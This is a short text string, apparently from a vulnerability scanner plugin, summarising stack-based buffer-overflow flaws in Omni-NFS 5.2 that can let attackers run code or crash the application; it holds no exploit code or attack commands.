tag_summary = "Omni-NFS is prone to multiple stack-based buffer-overflow
vulnerabilities because the application fails to properly bounds-check
user-supplied network data before copying it into an insufficiently
sized memory buffer. The issues affect both server and client.

Exploiting these issues allows attackers to execute arbitrary machine
code in the context of users running the affected application. Failed
attempts will likely crash the application, resulting in denial-of-
service conditions.

Omni-NFS 5.2 is vulnerable; other versions may also be affected.";
